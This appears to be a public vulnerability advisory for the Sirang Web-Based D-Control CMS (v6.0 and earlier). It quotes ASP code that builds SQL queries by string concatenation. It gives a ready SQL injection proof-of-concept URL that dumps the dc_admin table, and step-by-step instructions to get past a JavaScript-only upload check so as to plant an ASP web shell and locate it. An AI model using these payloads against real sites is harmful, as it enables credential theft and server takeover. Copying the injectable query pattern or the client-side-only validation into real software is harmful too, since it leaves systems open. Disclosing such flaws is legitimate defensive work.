- Title : Sirang Web-Based D-Control Multiple Remote Vulnerabilities
- Affected Version : <= v6.0
- Vendor Site : http://www.sirang.com
- Discovery : Abysssec.com
Description :
this CMS suffer from OWASP top 10 !!!
some of there will come here ...
Vulnerabilites :
======================================================================================================================
1- SQL Injection
Vulnerability is located in content.asp
line 131-133
...
txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"
set rs=conn.execute(txt)
while not rs.eof
...
content.asp line 202-206
...
if id<>"" then
txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"
set xx = conn.execute(txt10)
if not xx.eof then
...
lots of files those will have to do input validation from user input are vulnerable to SQL Injection .
PoC :
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*
note : if you can't see result you need to do it blindly
======================================================================================================================
2- Bypass uploads restriction:
after you got user/pass with sql injection go to
http://site.com/admin/dc_upload.asp
js file line 13-34 :
function showthumb(file) {
if (file !='') {
myshowfile = file;
extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");
allowSubmit = false;
while (file.indexOf("\\") != -1)
file = file.slice(file.indexOf("\\") + 1);
ext = file.slice(file.indexOf(".")).toLowerCase();
for (var i = 0; i < extArray.length; i++) {
if (extArray[i] == ext) { allowSubmit = true; break; }
}
if (allowSubmit) thumb.src=myshowfile;
else
alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd.");
}
else {
alert("Only files that end in types: " + (extArray.join(" ")) + " could be previewd.");
}
}
as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell.
you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)
